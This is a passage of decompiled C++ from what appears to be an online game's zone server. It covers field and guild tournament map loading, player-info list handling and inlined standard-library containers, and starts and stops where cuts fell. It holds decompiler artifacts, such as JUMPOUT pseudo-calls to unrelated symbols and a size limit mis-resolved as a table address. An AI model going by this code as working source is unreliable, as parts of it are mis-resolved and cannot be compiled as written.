*)v24 + 21); v90 = (int)&type; v89 = 1; v88 = v36; v87 = "Serial"; v95 = &v82; *(_DWORD *)&v86.ort_Name[0] = 0; *(_DWORD *)&v85.ort_Name[0] = 0; v84 = 0; v83 = 0; *(_DWORD *)&v82.ort_Name[0] = 0; strncpy(v82.ort_Name, "FieldList", 0x14u); v111 = 0; v37 = ZoneServer::zs_GetServerGroup(&zoneserver); v111 = -1; if ( OptionReader::or_Select(&v3->fc_FieldOption.baseclass_0, v37, v82, v87, v88, v89, (int *)v90) != 0 ) { v90 = *((_BYTE *)v24 + 21); AssertClass::ac_AssertFail(&shineassert, "FieldContainer::fc_Load : Duplicate serial", v90); ShineExit("FieldContainer::fc_Load"); } if ( *((_BYTE *)v24 + 65) != 45 ) ScenarioBookShelf::sbs_ReadNAssert(&scenarioshelf, (char *)v24 + 65); if ( *((_BYTE *)v24 + 13) == 45 ) { FieldContainer::fc_MakeField(v3, v94, (FieldOption::FieldAttr *)v24, (Name3 *)v24, *((_BYTE *)v24 + 21), v35); v3 = thisa; ++i; } else { v38 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v38; v39 = (char *)&namestring + 256 * v38; *(_DWORD *)v39 = *(_DWORD *)v24; *((_DWORD *)v39 + 1) = *((_DWORD *)v24 + 1); *((_DWORD *)v39 + 2) = *((_DWORD *)v24 + 2); v39[12] = 0; v40 = (char *)(mapfrom - v39); do { v41 = *v39; v39[(_DWORD)v40] = *v39; ++v39; } while ( v41 ); v42 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v42; v43 = (char *)&namestring + 256 * v42; *(_DWORD *)v43 = *(_DWORD *)v24; *((_DWORD *)v43 + 1) = *((_DWORD *)v24 + 1); *((_DWORD *)v43 + 2) = *((_DWORD *)v24 + 2); v43[12] = 0; v44 = (char *)(mapto - v43); do { v45 = *v43; v43[(_DWORD)v44] = *v43; ++v43; } while ( v45 ); v46 = (int)((char *)v24 + 13); v47 = (char *)v24 + 13; do v48 = *(_BYTE *)v46++; while ( v48 ); v49 = v46 - (_DWORD)v47; v50 = (char *)&v107 + 3; do { v51 = *((_BYTE *)v50 + 1); v50 = (char *)v50 + 1; } while ( v51 ); memcpy(v50, v47, 4 * (v49 >> 2)); v53 = (char *)v47 + 4 * (v49 >> 2); v52 = (char *)v50 + 4 * (v49 >> 2); v54 = v49 & 3; v55 = (int)((char *)v24 + 17); memcpy(v52, v53, v54); v56 = (char *)v24 + 17; do v57 = *(_BYTE *)v55++; while ( v57 ); v58 = v55 - (_DWORD)v56; v59 = &mapfrom[63]; do { v60 = *((_BYTE *)v59 + 1); v59 = (char *)v59 + 1; } while ( v60 ); memcpy(v59, v56, 4 * (v58 >> 2)); v62 = (char *)v56 + 4 * (v58 >> 2); v61 = (char *)v59 + 4 * (v58 >> 2); v63 = v58 & 3; v64 = (int)mapfrom; memcpy(v61, v62, v63); do { v65 = *(_BYTE *)v64; *(_BYTE *)(&mss - mapfrom + v64) = *(_BYTE *)v64; ++v64; } while ( v65 ); v66 = 0; do { v67 = mapto[v66]; v103[v66++] = v67; } while ( v67 ); v68 = &mss; v105 = 45; do v69 = *v68++; while ( v69 ); v107 = v68 - v102 - 1; if ( MapSubString::mss_Next((MapSubString *)&mss) ) { v70 = thisa; do { v100 = 0; v99 = 0; *(_DWORD *)map = 0; strncpy(map, &v105, 0xCu); if ( machine == (ORToken *)99 ) { v71 = &v105; do v72 = *v71++; while ( v72 ); if ( ZoneServer::zs_worlddata(&zoneserver)->nZoneNo != *(&v104 + v71 - v106) - 48 ) continue; v73 = &v105; do v74 = *v73++; while ( v74 ); v90 = (unsigned __int8)(*(&v104 + v73 - v106) - 48); } else { v90 = (int)machine; } v89 = *((_BYTE *)v24 + 21); FieldContainer::fc_MakeField(v70, v94, (FieldOption::FieldAttr *)v24, (Name3 *)map, v89, v90); } while ( MapSubString::mss_Next((MapSubString *)&mss) ); } v3 = thisa; ++i; } } v95 = &v86; v90 = 0; v89 = 0; v88 = 0; v87 = 0; *(_DWORD *)&v86.ort_Name[0] = 0; strncpy(v86.ort_Name, "GuildTournamentMap", 0x14u); v75 = OptionReader::or_SelectCountFrom(&v3->fc_FieldOption.baseclass_0, v86); v90 = 4 * v75; v3->fc_GuildTournamentMap.number = v75; v76 = operator new__(v90); v77 = v3->fc_GuildTournamentMap.number; v3->fc_GuildTournamentMap.attr = (FieldOption::GuildTournamentMapStr **)v76; v78 = 0; if ( v77 > 0 ) { do v3->fc_GuildTournamentMap.attr[v78++] = 0; while ( v78 < v3->fc_GuildTournamentMap.number ); } v12 = v3->fc_GuildTournamentMap.number == 0; v13 = v3->fc_GuildTournamentMap.number < 0; i = 0; if ( !(v13 | v12) ) { do { v90 = i; v95 = &v85; v89 = 0; v88 = 0; v87 = 0; *(_DWORD *)&v86.ort_Name[0] = 0; *(_DWORD *)&v85.ort_Name[0] = 0; strncpy(v85.ort_Name, "GuildTournamentMap", 0x14u); v79 = OptionReader::or_SelectFromOrder(&v3->fc_FieldOption.baseclass_0, v85, v90); v80 = *((_BYTE *)v79 + 13); if ( v80 >= v3->fc_GuildTournamentMap.number ) { AssertClass::ac_AssertFail(&shineassert, "Error in GuildTournamentMap : Too large GTMapNo", v80); ShineExit("FieldContainer::fc_Load"); } if ( v3->fc_GuildTournamentMap.attr[v80] != 0 ) { AssertClass::ac_AssertFail(&shineassert, "Error in GuildTournamentMap : duplicate GTMapNo", v80); ShineExit("FieldContainer::fc_Load"); } v3->fc_GuildTournamentMap.attr[v80] = (FieldOption::GuildTournamentMapStr *)v79; v12 = *((_BYTE *)v79 + 13) != *((_BYTE *)v79 + 304); v95 = (ORToken *)(*((_BYTE *)v79 + 13) == *((_BYTE *)v79 + 304)); if ( v12 ) { AssertClass::ac_AssertFail(&shineassert, "Checksum error in table GuildTournamentMap(Field.txt)", i); ShineExit("FieldContainer::fc_Load"); } v81 = v3->fc_GuildTournamentMap.number; ++i; } while ( i < v81 ); } __security_check_cookie((unsigned int)&i ^ v110); } // 455350: using guessed type char var_154[63]; //----- (00455C80) -------------------------------------------------------- int __thiscall FieldMap::fm_Get_MIDPlayerInfoList(int this, int a2, int nCharNo) { int v3; // ecx@1 int v4; // eax@1 int result; // eax@4 int v6; // ecx@5 int v7; // esi@5 v3 = *(_DWORD *)(this + 284); v4 = *(_DWORD *)v3; if ( *(_DWORD *)v3 == v3 ) { LABEL_4: result = a2; *(_DWORD *)a2 = -1; *(_DWORD *)(a2 + 4) = 0; *(_DWORD *)(a2 + 8) = 0; *(_DWORD *)(a2 + 12) = 10000; } else { while ( *(_DWORD *)(v4 + 8) != nCharNo ) { v4 = *(_DWORD *)v4; if ( v4 == v3 ) goto LABEL_4; } v6 = v4 + 8; v7 = *(_DWORD *)(v4 + 8); result = a2; *(_DWORD *)a2 = v7; *(_DWORD *)(a2 + 4) = *(_DWORD *)(v6 + 4); *(_DWORD *)(a2 + 8) = *(_DWORD *)(v6 + 8); *(_DWORD *)(a2 + 12) = *(_DWORD *)(v6 + 12); } return result; } //----- (00455CF0) -------------------------------------------------------- char __thiscall FieldMap::fm_Set_MIDPlayerInfoList(int this, int a2) { char result; // al@2 int v3; // ecx@3 int v4; // eax@3 if ( a2 ) { v3 = *(_DWORD *)(this + 284); v4 = *(_DWORD *)v3; if ( *(_DWORD *)v3 == v3 ) { LABEL_6: result = 0; } else { while ( *(_DWORD *)(v4 + 8) != *(_DWORD *)a2 ) { v4 = *(_DWORD *)v4; if ( v4 == v3 ) goto LABEL_6; } *(_DWORD *)(v4 + 12) = *(_DWORD *)(a2 + 4); *(_DWORD *)(v4 + 16) = *(_DWORD *)(a2 + 8); *(_DWORD *)(v4 + 20) = *(_DWORD *)(a2 + 12); result = 1; } } else { result = 0; } return result; } //----- (00455D40) -------------------------------------------------------- void __thiscall FieldMap::fm_Clear_MIDPlayerInfoList(int this) { int v1; // esi@1 v1 = this; std::list>::clear((std::list,std::allocator > > *)(this + 268)); std::list>::clear((std::list,std::allocator > > *)(v1 + 280)); } //----- (00455D60) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_GetMIDPlayerInfo(void *this, int a2) { void *v2; // esi@1 int v3; // eax@2 int result; // eax@2 v2 = this; if ( *(_DWORD *)((char *)this + 98) ) { v3 = (*(int (**)(void))(*(_DWORD *)this + 836))(); FieldMap::fm_Get_MIDPlayerInfoList(*(_DWORD *)((char *)v2 + 98), a2, v3); result = a2; } else { result = a2; *(_DWORD *)a2 = -1; *(_DWORD *)(a2 + 4) = 0; *(_DWORD *)(a2 + 8) = 0; *(_DWORD *)(a2 + 12) = 10000; } return result; } //----- (00455DB0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_ply_SetMIDPlayerInfo(int this, int pSetData) { int v2; // ecx@1 JUMPOUT(pSetData, 0, Concurrency::_Order_node_base::reserve_message); v2 = *(_DWORD *)(this + 98); JUMPOUT(v2, 0, Concurrency::_Order_node_base::reserve_message); return FieldMap::fm_Set_MIDPlayerInfoList(v2, pSetData); } // 455DC8: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (00455DD0) -------------------------------------------------------- void __thiscall std::list_std::allocator>>::_list_std::allocator>>(std::list,std::allocator > > *this) { std::list,std::allocator > > *v1; // esi@1 v1 = this; std::list>::clear(this); operator delete(v1->_Myhead); v1->_Myhead = 0; } //----- (00455DF0) -------------------------------------------------------- std::list >::iterator *__thiscall std::list>::erase(std::list > *this, std::list >::iterator *result, std::list >::iterator _Where) { std::list > *v3; // esi@1 int v4; // edi@1 std::list >::iterator *v5; // eax@3 v3 = this; v4 = **(_DWORD **)&_Where; if ( (std::_List_nod >::_Node *)_Where != this->_Myhead ) { **(_DWORD **)(*(_DWORD *)&_Where + 4) = **(_DWORD **)&_Where; *(_DWORD *)(**(_DWORD **)&_Where + 4) = *(_DWORD *)(*(_DWORD *)&_Where + 4); operator delete(*(void **)&_Where); --v3->_Mysize; } v5 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v4; return v5; } //----- (00455E30) -------------------------------------------------------- std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::find(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, ABSTATEINDEX *_Keyval) { std::_Tree_nod,std::allocator,0> >::_Node *v3; // edx@1 std::_Tree_nod,std::allocator,0> >::_Node *v4; // eax@1 std::_Tree,std::allocator,0> >::iterator *v5; // eax@8 v3 = this->_Myhead; v4 = v3->_Parent; while ( !v4->_Isnil ) { if ( v4->_Myval >= *_Keyval ) { v3 = v4; v4 = v4->_Left; } else { v4 = v4->_Right; } } if ( v3 == this->_Myhead || *_Keyval < v3->_Myval ) { v5 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = this->_Myhead; } else { v5 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v3; } return v5; } //----- (00455EA0) -------------------------------------------------------- bool __thiscall FieldMap::fm_IsRefuseAbstate(std::_Tree,std::allocator,0> >::iterator this, int idx) { std::_Tree,std::allocator,0> >::iterator v2; // esi@1 bool v3; // bl@1 std::_Tree,std::allocator,0> >::iterator result; // [sp+0h] [bp-4h]@1 result = this; v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "FieldContainer::fm_IsRefuseAbstate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "FieldContainer::fm_IsRefuseAbstate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_DWORD *)&std::_Tree_std::allocator_0>>::find( (std::_Tree,std::allocator,0> > *)(*(_DWORD *)&v2 + 404), &result, (ABSTATEINDEX *)&idx)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] != *(_DWORD *)(*(_DWORD *)&v2 + 408); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FieldContainer::fm_IsRefuseAbstate"); return v3; } //----- (00455F30) -------------------------------------------------------- void *__thiscall FieldMap::fm_Delete_MIDPlayerInfoList(int this, int nCharNo) { int v2; // esi@1 void **v3; // ecx@1 void *result; // eax@1 v2 = this; v3 = *(void ***)(this + 284); result = *v3; if ( *v3 != v3 ) { while ( *((_DWORD *)result + 2) != nCharNo ) { result = *(void **)result; if ( result == v3 ) return result; } if ( result != *(void **)(v2 + 284) ) { **((_DWORD **)result + 1) = *(_DWORD *)result; *(_DWORD *)(*(_DWORD *)result + 4) = *((_DWORD *)result + 1); operator delete(result); result = (void *)(*(_DWORD *)(v2 + 288) - 1); *(_DWORD *)(v2 + 288) = result; } } return result; } //----- (00455F90) -------------------------------------------------------- std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::_Insert(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, bool _Addleft, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode, ABSTATEINDEX *_Val) { std::_Tree,std::allocator,0> > *v5; // edi@1 std::_Tree_nod,std::allocator,0> >::_Node *v6; // ecx@4 std::_Tree_nod,std::allocator,0> >::_Node *v7; // eax@4 std::_Tree_nod,std::allocator,0> >::_Node *v8; // eax@7 std::_Tree_nod,std::allocator,0> >::_Node *v9; // eax@9 int v10; // eax@11 std::_Tree_nod,std::allocator,0> >::_Node *v11; // esi@11 int v12; // ecx@12 int v13; // ebp@12 int v14; // edx@12 std::_Tree,std::allocator,0> >::iterator *v15; // eax@24 std::basic_string,std::allocator > thisa; // [sp+8h] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+24h] [bp-34h]@2 int v18; // [sp+54h] [bp-4h]@2 std::_Tree_nod,std::allocator,0> >::_Node *_Vala; // [sp+68h] [bp+10h]@4 v5 = this; if ( this->_Mysize >= 0x3FFFFFFE ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "map/set too long", 0x13u); v18 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } v6 = std::_Tree_std::allocator_0>>::_Buynode( this, this->_Myhead, _Wherenode, this->_Myhead, _Val, 0); v7 = v5->_Myhead; _Vala = v6; ++v5->_Mysize; if ( _Wherenode == v7 ) { v7->_Parent = v6; v5->_Myhead->_Left = v6; v5->_Myhead->_Right = v6; } else { if ( _Addleft ) { _Wherenode->_Left = v6; v8 = v5->_Myhead; if ( _Wherenode == v8->_Left ) v8->_Left = v6; } else { _Wherenode->_Right = v6; v9 = v5->_Myhead; if ( _Wherenode == v9->_Right ) v9->_Right = v6; } } v10 = (int)&v6->_Parent; v11 = v6; if ( !v6->_Parent->_Color ) { while ( 1 ) { v12 = *(_DWORD *)v10; v13 = *(_DWORD *)(*(_DWORD *)v10 + 4); v14 = *(_DWORD *)v13; if ( *(_DWORD *)v10 == *(_DWORD *)v13 ) { v14 = *(_DWORD *)(v13 + 8); if ( *(_BYTE *)(v14 + 16) ) { if ( v11 == *(std::_Tree_nod,std::allocator,0> >::_Node **)(v12 + 8) ) { v11 = *(std::_Tree_nod,std::allocator,0> >::_Node **)v10; std::_Tree_std::allocator_0>>::_Lrotate( v5, *(std::_Tree_nod,std::allocator,0> >::_Node **)v10); } v11->_Parent->_Color = 1; v11->_Parent->_Parent->_Color = 0; std::_Tree_std::allocator_0>>::_Rrotate( v5, v11->_Parent->_Parent); goto LABEL_22; } } else { if ( *(_BYTE *)(v14 + 16) ) { if ( v11 == *(std::_Tree_nod,std::allocator,0> >::_Node **)v12 ) { v11 = *(std::_Tree_nod,std::allocator,0> >::_Node **)v10; std::_Tree_std::allocator_0>>::_Rrotate( v5, *(std::_Tree_nod,std::allocator,0> >::_Node **)v10); } v11->_Parent->_Color = 1; v11->_Parent->_Parent->_Color = 0; std::_Tree_std::allocator_0>>::_Lrotate( v5, v11->_Parent->_Parent); goto LABEL_22; } } *(_BYTE *)(*(_DWORD *)v10 + 16) = 1; *(_BYTE *)(v14 + 16) = 1; *(_BYTE *)(*(_DWORD *)(*(_DWORD *)v10 + 4) + 16) = 0; v11 = *(std::_Tree_nod,std::allocator,0> >::_Node **)(*(_DWORD *)v10 + 4); LABEL_22: v10 = (int)&v11->_Parent; if ( v11->_Parent->_Color ) { v6 = _Vala; break; } } } v15 = result; v5->_Myhead->_Parent->_Color = 1; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6; return v15; } // 689BF8: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (00456140) -------------------------------------------------------- void __thiscall std::list>::_Incsize(std::list > *this, unsigned int _Count) { unsigned int v2; // eax@1 std::basic_string,std::allocator > thisa; // [sp+4h] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+20h] [bp-34h]@2 int v5; // [sp+50h] [bp-4h]@2 v2 = this->_Mysize; if ( 1073741823 - v2 < _Count ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "list too long", 0x10u); v5 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } this->_Mysize = _Count + v2; } // 689BF8: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (004561E0) -------------------------------------------------------- void __thiscall std::list>::_Incsize(std::list > *this, unsigned int _Count) { unsigned int v2; // eax@1 std::basic_string,std::allocator > thisa; // [sp+4h] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+20h] [bp-34h]@2 int v5; // [sp+50h] [bp-4h]@2 v2 = this->_Mysize; if ( (unsigned int)((char *)&pathfindtable.pft_table[1103][975].pfc_from.y + -v2 + 3) < _Count ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "list too long", 0x10u); v5 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } this->_Mysize = _Count + v2; } // 689BF8: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (00456280) -------------------------------------------------------- std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::erase(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, std::_Tree,std::allocator,0> >::iterator _Where) { std::_Tree,std::allocator,0> > *v3; // ebp@1 std::_Tree,std::allocator,0> >::iterator v4; // ebx@4 std::_Tree,std::allocator,0> >::iterator v5; // edi@5 std::_Tree,std::allocator,0> >::iterator v6; // ecx@8 std::_Tree,std::allocator,0> >::iterator v7; // esi@9 std::_Tree_nod,std::allocator,0> >::_Node *v8; // eax@11 std::_Tree_nod,std::allocator,0> >::_Node *v9; // ebx@16 std::_Tree_nod,std::allocator,0> >::_Node *v10; // eax@18 std::_Tree_nod,std::allocator,0> >::_Node *v11; // ebx@21 std::_Tree_nod,std::allocator,0> >::_Node *v12; // eax@30 int v13; // eax@32 char v14; // al@35 int v15; // eax@39 bool v16; // zf@54 unsigned int v17; // eax@60 std::_Tree,std::allocator,0> >::iterator *v18; // eax@62 std::_Tree,std::allocator,0> >::iterator _Erasednode; // [sp+8h] [bp-54h]@4 std::basic_string,std::allocator > thisa; // [sp+Ch] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+28h] [bp-34h]@2 int v22; // [sp+58h] [bp-4h]@2 v3 = this; if ( *(_BYTE *)(*(_DWORD *)&_Where + 17) ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &thisa, "invalid map/set iterator", 0x1Bu); v22 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::out_of_range::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVout_of_range_std__); } v4 = _Where; _Erasednode = _Where; std::_Tree_std::allocator_0>>::const_iterator::_Inc(&_Where.baseclass_0); if ( *(_BYTE *)(**(_DWORD **)&v4 + 17) ) { v5 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v4 + 8); LABEL_9: v7 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v4 + 4); if ( !*(_BYTE *)(*(_DWORD *)&v5 + 17) ) *(_DWORD *)(*(_DWORD *)&v5 + 4) = v7; v8 = v3->_Myhead; if ( v8->_Parent == (std::_Tree_nod,std::allocator,0> >::_Node *)v4 ) { v8->_Parent = (std::_Tree_nod,std::allocator,0> >::_Node *)v5; } else { if ( **(_DWORD **)&v7 == v4 ) **(_DWORD **)&v7 = v5; else *(_DWORD *)(*(_DWORD *)&v7 + 8) = v5; } v9 = v3->_Myhead; if ( v9->_Left == (std::_Tree_nod,std::allocator,0> >::_Node *)_Erasednode ) { if ( *(_BYTE *)(*(_DWORD *)&v5 + 17) ) v10 = (std::_Tree_nod,std::allocator,0> >::_Node *)v7; else v10 = std::_Tree_std::allocator_0>>::_Min(*(std::_Tree_nod,std::allocator,0> >::_Node **)&v5); v9->_Left = v10; } v11 = v3->_Myhead; if ( v11->_Right == (std::_Tree_nod,std::allocator,0> >::_Node *)_Erasednode ) { if ( *(_BYTE *)(*(_DWORD *)&v5 + 17) ) v11->_Right = (std::_Tree_nod,std::allocator,0> >::_Node *)v7; else v11->_Right = std::_Tree_std::allocator_0>>::_Max(*(std::_Tree_nod,std::allocator,0> >::_Node **)&v5); } goto LABEL_36; } if ( *(_BYTE *)(*(_DWORD *)(*(_DWORD *)&v4 + 8) + 17) ) { v5 = (std::_Tree,std::allocator,0> >::iterator)**(_DWORD **)&v4; goto LABEL_9; } v6 = _Where; v5 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&_Where + 8); if ( _Where == v4 ) goto LABEL_9; *(_DWORD *)(**(_DWORD **)&v4 + 4) = _Where; **(_DWORD **)&v6 = **(_DWORD **)&v4; if ( v6 == *(_DWORD *)(*(_DWORD *)&v4 + 8) ) { v7 = v6; } else { v7 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v6 + 4); if ( !*(_BYTE *)(*(_DWORD *)&v5 + 17) ) *(_DWORD *)(*(_DWORD *)&v5 + 4) = v7; **(_DWORD **)&v7 = v5; *(_DWORD *)(*(_DWORD *)&v6 + 8) = *(_DWORD *)(*(_DWORD *)&v4 + 8); *(_DWORD *)(*(_DWORD *)(*(_DWORD *)&v4 + 8) + 4) = v6; } v12 = v3->_Myhead; if ( v12->_Parent == (std::_Tree_nod,std::allocator,0> >::_Node *)v4 ) { v12->_Parent = (std::_Tree_nod,std::allocator,0> >::_Node *)v6; } else { v13 = *(_DWORD *)(*(_DWORD *)&v4 + 4); if ( *(_DWORD *)v13 == v4 ) *(_DWORD *)v13 = v6; else *(_DWORD *)(v13 + 8) = v6; } *(_DWORD *)(*(_DWORD *)&v6 + 4) = *(_DWORD *)(*(_DWORD *)&v4 + 4); v14 = *(_BYTE *)(*(_DWORD *)&v6 + 16); *(_BYTE *)(*(_DWORD *)&v6 + 16) = *(_BYTE *)(*(_DWORD *)&v4 + 16); *(_BYTE *)(*(_DWORD *)&v4 + 16) = v14; LABEL_36: if ( *(_BYTE *)(*(_DWORD *)&_Erasednode + 16) == 1 ) { if ( (std::_Tree_nod,std::allocator,0> >::_Node *)v5 != v3->_Myhead->_Parent ) { do { if ( *(_BYTE *)(*(_DWORD *)&v5 + 16) != 1 ) break; v15 = **(_DWORD **)&v7; if ( v5 == **(_DWORD **)&v7 ) { v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); if ( !*(_BYTE *)(v15 + 16) ) { *(_BYTE *)(v15 + 16) = 1; *(_BYTE *)(*(_DWORD *)&v7 + 16) = 0; std::_Tree_std::allocator_0>>::_Lrotate( v3, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); } if ( *(_BYTE *)(v15 + 17) ) goto LABEL_54; if ( *(_BYTE *)(*(_DWORD *)v15 + 16) != 1 || *(_BYTE *)(*(_DWORD *)(v15 + 8) + 16) != 1 ) { if ( *(_BYTE *)(*(_DWORD *)(v15 + 8) + 16) == 1 ) { *(_BYTE *)(*(_DWORD *)v15 + 16) = 1; *(_BYTE *)(v15 + 16) = 0; std::_Tree_std::allocator_0>>::_Rrotate( v3, (std::_Tree_nod,std::allocator,0> >::_Node *)v15); v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); } *(_BYTE *)(v15 + 16) = *(_BYTE *)(*(_DWORD *)&v7 + 16); *(_BYTE *)(*(_DWORD *)&v7 + 16) = 1; *(_BYTE *)(*(_DWORD *)(v15 + 8) + 16) = 1; std::_Tree_std::allocator_0>>::_Lrotate( v3, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); break; } } else { if ( !*(_BYTE *)(v15 + 16) ) { *(_BYTE *)(v15 + 16) = 1; *(_BYTE *)(*(_DWORD *)&v7 + 16) = 0; std::_Tree_std::allocator_0>>::_Rrotate( v3, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); v15 = **(_DWORD **)&v7; } if ( *(_BYTE *)(v15 + 17) ) goto LABEL_54; if ( *(_BYTE *)(*(_DWORD *)(v15 + 8) + 16) != 1 || *(_BYTE *)(*(_DWORD *)v15 + 16) != 1 ) { if ( *(_BYTE *)(*(_DWORD *)v15 + 16) == 1 ) { *(_BYTE *)(*(_DWORD *)(v15 + 8) + 16) = 1; *(_BYTE *)(v15 + 16) = 0; std::_Tree_std::allocator_0>>::_Lrotate( v3, (std::_Tree_nod,std::allocator,0> >::_Node *)v15); v15 = **(_DWORD **)&v7; } *(_BYTE *)(v15 + 16) = *(_BYTE *)(*(_DWORD *)&v7 + 16); *(_BYTE *)(*(_DWORD *)&v7 + 16) = 1; *(_BYTE *)(*(_DWORD *)v15 + 16) = 1; std::_Tree_std::allocator_0>>::_Rrotate( v3, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); break; } } *(_BYTE *)(v15 + 16) = 0; LABEL_54: v5 = v7; v16 = (std::_Tree_nod,std::allocator,0> >::_Node *)v7 == v3->_Myhead->_Parent; v7 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v7 + 4); } while ( !v16 ); } *(_BYTE *)(*(_DWORD *)&v5 + 16) = 1; } operator delete(*(void **)&_Erasednode); v17 = v3->_Mysize; if ( v17 ) v3->_Mysize = v17 - 1; v18 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = _Where; return v18; } // 689C04: using guessed type int (__thiscall *std__out_of_range___vftable_)(void *p, char); //----- (00456540) -------------------------------------------------------- void __thiscall std::vector>::_Xlen(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 689BF8: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (004565B0) -------------------------------------------------------- std::pair,std::allocator,0> >::iterator,bool> *__thiscall std::_Tree_std::allocator_0>>::insert(std::_Tree,std::allocator,0> > *this, std::pair,std::allocator,0> >::iterator,bool> *result, ABSTATEINDEX *_Val) { ABSTATEINDEX *v3; // ebp@1 std::_Tree,std::allocator,0> > *v4; // edi@1 std::_Tree_nod,std::allocator,0> >::_Node *v5; // esi@1 std::_Tree_nod,std::allocator,0> >::_Node *v6; // eax@1 bool v7; // cl@1 ABSTATEINDEX v8; // edx@2 ABSTATEINDEX *v9; // edx@7 int v10; // edx@9 std::pair,std::allocator,0> >::iterator,bool> *v11; // eax@9 int v12; // ecx@12 char _Addleft; // [sp+Ch] [bp-4h]@1 v3 = _Val; v4 = this; v5 = this->_Myhead; v6 = v5->_Parent; v7 = 1; _Addleft = 1; if ( !v6->_Isnil ) { v8 = *_Val; do { v7 = v8 < v6->_Myval; v5 = v6; _Addleft = v8 < v6->_Myval; if ( v8 >= v6->_Myval ) v6 = v6->_Right; else v6 = v6->_Left; } while ( !v6->_Isnil ); } v9 = (ABSTATEINDEX *)v5; _Val = (ABSTATEINDEX *)v5; if ( v7 ) { if ( v5 == v4->_Myhead->_Left ) { v10 = *(_DWORD *)&std::_Tree_std::allocator_0>>::_Insert( v4, (std::_Tree,std::allocator,0> >::iterator *)&_Val, 1, v5, v3)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; v11 = result; result->second = 1; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v10; return v11; } std::_Tree_std::allocator_0>>::const_iterator::_Dec((std::_Tree,std::allocator,0> >::const_iterator *)&_Val); v9 = _Val; } if ( *((_DWORD *)v9 + 3) >= *v3 ) { v11 = result; result->second = 0; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v9; } else { v12 = *(_DWORD 